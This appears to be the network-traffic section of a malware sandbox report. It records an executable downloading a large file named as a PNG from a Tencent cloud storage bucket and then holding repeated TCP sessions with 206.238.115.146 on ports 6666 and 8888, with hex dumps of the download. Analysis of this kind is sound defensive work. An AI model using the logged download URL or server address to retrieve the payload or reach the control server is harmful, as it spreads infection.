Jul 5, 2024 07:33:10.297939062 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297971010 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298032999 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298068047 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298084021 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298104048 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298137903 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298152924 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298345089 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298393011 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298393965 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298427105 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298460007 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298474073 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298494101 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298527956 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298541069 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298563004 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298595905 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298645973 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298695087 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298741102 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.298790932 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298826933 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.298871994 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.502604008 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.502641916 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.502679110 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.502700090 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.548160076 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:11.541261911 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:11.546479940 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:11.546561956 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:13.516917944 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:16.441138983 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:16.447603941 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:16.447643995 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:16.447701931 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:16.447731972 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:16.761554003 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:16.761987925 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:16.769424915 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:28.813813925 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:28.818809032 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:29.125607967 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:29.173065901 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:29.199779987 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:29.204931974 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:29.205005884 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:29.205014944 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:29.205025911 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:47.001792908 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:47.007042885 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:47.321389914 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:47.376214027 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:47.395730972 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:47.400609970 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:47.400645018 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:47.400676012 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:47.400708914 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:04.892164946 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:04.897274017 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:05.203994036 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:05.251223087 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:05.255207062 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:05.260135889 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:05.260190964 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:05.260221004 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:05.260266066 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:21.149333000 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:21.154335022 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:21.459717035 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:21.532500982 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:22.066674948 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:22.071692944 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:22.071736097 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:22.071764946 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:22.071834087 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:37.641953945 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:37.641990900 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:37.647680044 CEST	6666	49732	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:37.649816036 CEST	49732	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:39.579978943 CEST	49740	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:39.585019112 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:39.585848093 CEST	49740	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:44.738759995 CEST	49740	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:44.743824005 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:44.743895054 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:44.743930101 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:44.743937969 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:45.046828032 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:45.047312975 CEST	49740	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:45.052239895 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:56.735753059 CEST	49740	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:56.735804081 CEST	49740	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:56.740833044 CEST	8888	49740	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:56.745940924 CEST	49740	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:58.673774004 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:34:58.678886890 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:34:58.678989887 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:04.855492115 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:04.864209890 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:04.864566088 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:04.865016937 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:04.868025064 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:05.380085945 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:05.384074926 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:05.393997908 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:17.017196894 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:17.022109985 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:17.322954893 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:17.356991053 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:17.361917019 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:17.362075090 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:17.362107038 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:17.362140894 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:32.860009909 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:32.860130072 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:32.865160942 CEST	6666	49741	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:32.865221977 CEST	49741	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:34.798644066 CEST	49742	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:34.806459904 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:34.809895992 CEST	49742	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:39.869887114 CEST	49742	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:39.876976967 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:39.877021074 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:39.877057076 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:39.878592968 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:40.384373903 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:40.390136957 CEST	49742	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:40.394998074 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:51.595324993 CEST	49742	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:51.595390081 CEST	49742	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:51.600286961 CEST	8888	49742	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:51.600367069 CEST	49742	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:53.544717073 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:53.549557924 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:53.549650908 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:58.399033070 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:58.403939009 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:58.403955936 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:58.403969049 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:58.404108047 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:58.926358938 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:35:58.926666021 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:35:58.931530952 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:09.907833099 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:09.912722111 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:10.220365047 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:10.267000914 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:10.280021906 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:10.285178900 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:10.285197020 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:10.285239935 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:10.285286903 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:27.345233917 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:27.345278978 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:27.351739883 CEST	6666	49743	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:27.351788998 CEST	49743	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:29.283329964 CEST	49744	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:29.288297892 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:29.289948940 CEST	49744	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:35.399712086 CEST	49744	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:35.404961109 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:35.405071020 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:35.405080080 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:35.405086994 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:35.722728968 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:35.724322081 CEST	49744	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:35.729151011 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:46.705177069 CEST	49744	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:46.705212116 CEST	49744	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:46.711031914 CEST	8888	49744	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:46.711093903 CEST	49744	8888	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:48.642529964 CEST	49745	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:48.647367954 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:48.647559881 CEST	49745	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:53.574806929 CEST	49745	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:53.583329916 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:53.583450079 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:53.583461046 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:53.583472013 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:53.892811060 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:36:53.893457890 CEST	49745	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:36:53.899755001 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:37:05.814492941 CEST	49745	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:37:05.819443941 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:37:06.129103899 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:37:06.173331976 CEST	49745	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:37:06.173650026 CEST	49745	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:37:06.178544044 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:37:06.178555012 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:37:06.178565979 CEST	6666	49745	206.238.115.146	192.168.2.4
Jul 5, 2024 07:37:06.178606987 CEST	6666	49745	206.238.115.146	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 07:33:02.446135998 CEST	58820	53	192.168.2.4	1.1.1.1
Jul 5, 2024 07:33:02.773952961 CEST	53	58820	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 5, 2024 07:33:02.446135998 CEST	192.168.2.4	1.1.1.1	0x573c	Standard query (0)	pattern-1326658104.cos.ap-guangzhou.myqcloud.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 5, 2024 07:33:02.773952961 CEST	1.1.1.1	192.168.2.4	0x573c	No error (0)	pattern-1326658104.cos.ap-guangzhou.myqcloud.com	gz.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 5, 2024 07:33:02.773952961 CEST	1.1.1.1	192.168.2.4	0x573c	No error (0)	gz.file.myqcloud.com		159.75.57.35	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:33:02.773952961 CEST	1.1.1.1	192.168.2.4	0x573c	No error (0)	gz.file.myqcloud.com		159.75.57.69	A (IP address)	IN (0x0001)	false
Jul 5, 2024 07:33:02.773952961 CEST	1.1.1.1	192.168.2.4	0x573c	No error (0)	gz.file.myqcloud.com		159.75.57.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pattern-1326658104.cos.ap-guangzhou.myqcloud.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	159.75.57.35	443	7272	C:\Users\user\Desktop\2IVWAPeiZm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-05 05:33:04 UTC	137	OUT	GET /any.png HTTP/1.1 User-Agent: WinINetDownloader Host: pattern-1326658104.cos.ap-guangzhou.myqcloud.com Cache-Control: no-cache
2024-07-05 05:33:04 UTC	421	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 1107015 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Fri, 05 Jul 2024 05:33:04 GMT ETag: "c5497a158a878995bb05025560ddaec2" Last-Modified: Wed, 19 Jun 2024 03:33:16 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 16225716134087835629 x-cos-request-id: NjY4Nzg1OTBfYTkyZTJjMGJfMjU2ZTBfNGMzYWMw
2024-07-05 05:33:04 UTC	15963	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 bc 00 00 04 03 08 02 00 00 00 23 af 7a 0d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 11 74 45 58 74 53 6f 66 74 77 61 72 65 00 53 6e 69 70 61 73 74 65 5d 17 ce dd 00 00 20 00 49 44 41 54 78 9c dc bd db 6e 24 bb b2 24 e8 8c 94 54 6b af 87 69 a0 1f a7 81 fe 8b 69 cc ff 7f 52 03 67 ef 2a 49 19 9c 07 17 4d 46 33 27 33 a4 aa 7d e6 cc 10 82 90 19 49 3a fd ee ce 6b b4 ff fe 3f ff d7 fd 7e 3f 8e e3 e5 e5 e5 38 8e f3 3c 5f 5f 5f cf f3 6c ad 3d 3f 3f 1f c7 71 bf df ef f7 7b ef bd b5 76 1c c7 71 1c ad b5 de 7b ef 3d 22 22 a2 f7 16 11 ad b5 f1 b5 9f e7 d9 7b 3f 8e 23 9f f3 4f 71 ad 70 5f 6f 6f 6f 0c ff 21 1c ae b9 7a c2 25 c9 cf be 18 ff a7 a7 a7 99 cc 8f cf 59 2d 99 70 9e 27 68 fc Data Ascii: PNGIHDR#zpHYs%%IR$tEXtSoftwareSnipaste] IDATxn$$TkiiRg*IMF3'3}I:k?~?8<___l=??q{vq{=""{?#Oqp_ooo!z%Y-p'h
2024-07-05 05:33:05 UTC	8188	IN	Data Raw: 3f 88 2d fd 7f c9 76 96 0b fb 37 f0 90 3b 2d 71 16 3c b3 6b fc 84 03 c3 ac f3 4c 2f 6f 73 3d e6 cb 35 4b a6 b9 ee c5 18 84 38 5d 5c 5a 55 d8 13 c2 ff 27 4a c8 46 22 02 c1 9d 9d 43 9b a7 ad b9 a3 18 7e 98 5d 1c 73 0c 43 a6 84 df 7b 7f 7a 7a 4a fb 3d c7 51 e5 63 1c 5e 66 8b 88 59 bd 9d 52 6c fb ef 55 7a c7 ea ea ec e5 52 ae c1 88 e1 88 72 96 4e 20 a2 70 a1 a5 2e 09 03 5d 6f c1 b4 e3 38 72 4e f9 ed ed 0d c7 ba 71 b3 ef 38 06 75 77 c8 a4 ff b7 e8 89 d8 58 2e 3a 26 9d 47 ef 32 6a 62 68 12 7c 91 78 c0 87 c3 03 c8 20 76 22 3f 6e 0c a4 45 6b d1 06 6e 9f 39 3a c3 cf af 19 25 7f fe fc 19 e3 d5 5d b0 b5 74 3e e3 98 52 7d 4c 0f 6a 20 b2 28 45 e6 f6 8e fc 8d 07 45 82 b0 f4 15 e4 67 e2 68 ed 76 f4 f7 38 a3 9f d1 ef ef 6f cf b7 a7 3e cf 40 31 6e a5 0a 01 a6 74 21 5e 22 Data Ascii: ?-v7;-q<kL/os=5K8]\ZU'JF"C~]sC{zzJ=Qc^fYRlUzRrN p.]o8rNq8uwX.:&G2jbh\|x v"?nEkn9:%]t>R}Lj (EEghv8o>@1nt!^"
2024-07-05 05:33:05 UTC	8184	IN	Data Raw: 45 b4 05 e8 09 c2 4e 14 93 ec 60 d9 f5 f1 ce 64 cc 26 b7 2a 6f 73 fd 0f bb 2b bd 51 f2 20 98 88 b0 84 bd ab cf 52 c4 2d 48 d7 65 5b 8e 02 bc 43 24 46 14 00 57 8f 79 3f 4e cc 9a 16 b4 e3 0f 0f 25 8d 6b e6 b8 4a 01 09 4b 5d f9 45 d0 ab 22 02 0a 53 18 a9 8f 31 03 eb 12 06 bd c2 b4 52 04 ae 7b 1b 4c 04 a5 d2 5a 5d 13 f8 b9 43 13 c8 65 ef 6d 61 0e 4c 05 7f f5 e6 8c 79 09 a7 ec 7a 2f ac 4d 85 46 65 83 d8 43 38 28 65 4c e7 5f 37 7d ad 44 d9 c6 c5 b7 32 c5 96 63 7e 57 fb 36 df dd b3 a2 ab 6d d3 4b 8e c8 25 7c 67 5d 1b 73 3a 5f f5 bd a5 72 5e a9 bf a9 80 24 8d f3 cf 3e 66 76 ee f6 36 13 81 0c aa 3b 4d a6 73 1d 61 88 a0 84 c4 9b 6d 10 7e fe 62 6e d6 2a 9f d6 46 98 43 1d c0 0f 9a c6 92 55 67 9e 9f 6d b4 53 4c 16 15 36 0a 8f 86 2b 54 57 cf d1 1d 24 72 1c 47 de 36 e2 Data Ascii: EN`d&os+Q R-He[C$FWy?N%kJK]E"S1R{LZ]CemaLyz/MFeC8(eL_7}D2c~W6mK%\|g]s:_r^$>fv6;Msam~bnFCUgmSL6+TW$rG6
2024-07-05 05:33:05 UTC	8184	IN	Data Raw: 1f d7 6b 4f ca 23 7a 7c cc f9 46 6b 99 92 f4 de 83 29 e9 fd a0 33 11 19 b2 8d 96 70 7d 91 84 e7 d8 f2 0a 9e d9 e3 24 f8 3c cf cb e5 70 39 b3 f0 d9 53 f0 b8 05 5e 1b f8 e0 f9 45 e0 86 d1 c6 a8 e0 21 04 0b b0 5c 94 0e 02 2b aa 65 cb 92 4c 7f a9 30 8f e8 f7 a0 ed 42 40 97 bb bc d2 09 b6 d6 70 72 af 58 c4 59 1d 8a b6 a1 9f 21 94 c3 98 73 9c b9 13 94 db 75 1a ae f4 39 73 0a 9b 0e 60 01 3a 25 f9 a1 dc 41 c0 d0 92 5b d8 f6 37 3e 08 ad 49 e3 e0 11 33 f7 ac 88 46 e7 8a ad e4 2f 52 6d 16 6f 56 24 49 05 69 90 71 c8 76 c1 e7 9c 95 18 28 89 2c 05 02 b2 79 0c 26 a9 06 0f 1d db bc 7e 8e e9 45 56 01 13 dc 2c f9 16 f2 f8 2f 06 cf 70 a7 bd f7 5c 70 2e 6f f7 9f c0 32 ab 03 85 db 6f 73 de e3 50 3c c7 eb 06 8e b1 25 07 47 0c dc 6e b7 18 e6 cf f9 99 c8 9c 7b 5f 7d e6 8b 0e 03 Data Ascii: kO#z\|Fk)3p}$<p9S^E!\+eL0B@prXY!su9s`:%A[7>I3F/RmoV$Iiqv(,y&~EV,/p\p.o2osP<%Gn{_}
2024-07-05 05:33:05 UTC	8184	IN	Data Raw: e3 a0 55 f1 5e 25 42 7c 57 a7 ec d7 e5 13 15 72 9a 8d fd a4 1a df 08 3c 73 ba c5 0c e2 d0 1f 91 89 a8 a9 0f 3f f0 7e ff d8 1c 27 03 22 f7 0f 12 a1 38 fb bd cf a7 bc 6f ec 42 d8 e4 fc 3f 69 c0 db fa 1c ea 7c 3b 5a 78 7d 7d c5 99 41 90 3f 82 5a 9f 77 a8 c9 41 2a 25 61 62 1a e9 bd 59 2f c9 f8 6d 71 90 ff b9 9e 4c e4 46 56 4c 09 ef 9c 21 08 7e f6 69 0c d3 0f 34 4a 8e ea e6 d9 d6 fb df 25 bc f6 de 63 e4 ff 48 fe 83 9c 49 ee af 4c e1 b3 97 e6 74 88 b5 73 cc 5b b4 1e 16 11 0b 64 c5 f9 21 32 1f 1f 21 b2 df 58 b5 df e8 01 94 de fb 55 46 62 a5 e7 6d 34 43 19 b6 93 8a 8d ea 19 20 f2 15 76 2b ae 39 5c 67 6c ed bb f0 d4 4a 2c 7c 45 aa c0 b1 53 8a dc ed f4 7e bd b1 b5 b0 ed 39 68 1f a3 08 20 66 b8 89 fb 79 7e c6 51 f6 c5 e5 f8 1c 2f a8 93 51 13 c8 61 6f e5 12 10 a6 d0 Data Ascii: U^%B\|Wr<s?~'"8oB?i\|;Zx}}A?ZwA*%abY/mqLFVL!~i4J%cHILts[d!2!XUFbm4C v+9\glJ,\|ES~9h fy~Q/Qao
2024-07-05 05:33:05 UTC	8184	IN	Data Raw: 2f 9c 8a 7b 59 99 12 c7 c8 63 3e cb f6 a0 8d d6 b8 e5 a1 dc c4 3c 57 3e 8d eb 07 41 a2 57 e3 81 30 78 c8 dc 87 33 e8 90 58 a9 83 eb bb 6f 91 0a 4f ca 01 98 39 e7 47 18 84 9e 52 41 bd 4a ca 85 da 3e e7 b5 2e cf a0 d4 4d 08 70 de 99 65 b7 b8 bd 0d 96 e2 12 9f 23 d7 f9 a7 87 d6 bd a2 df 61 b6 52 1c 7a 2c 99 8d 47 da dc 53 58 76 ca 1e a9 dc 16 e1 ed b7 91 b9 b2 82 9e d9 3a 5e 32 ee 52 5a 41 fa 61 fb 65 4d d7 af 9b 21 e3 53 fc 1b fb fc 15 42 bc 05 6c eb 93 f4 09 7e a3 a4 5c 48 ed f3 c4 4d a3 6c 8d 97 55 5c 65 dc 02 37 7b ce 9b ed 05 5d 60 50 d0 5b 4a 75 5f 56 b7 33 b5 a0 8d 65 fe 7c 17 65 81 a6 20 9f 52 fe ab c2 09 b0 10 ec 13 f1 cf d8 af d7 74 90 77 1b ea cb bd e2 52 f8 c6 d5 87 2f 79 c5 f2 16 bf 5d 1a 01 61 2b ff f9 55 02 bc 29 36 9f 55 7d 01 7f af a6 08 99 Data Ascii: /{Yc><W>AW0x3XoO9GRAJ>.Mpe#aRz,GSXv:^2RZAaeM!SBl~\HMlU\e7{]`P[Ju_V3e\|e RtwR/y]a+U)6U}
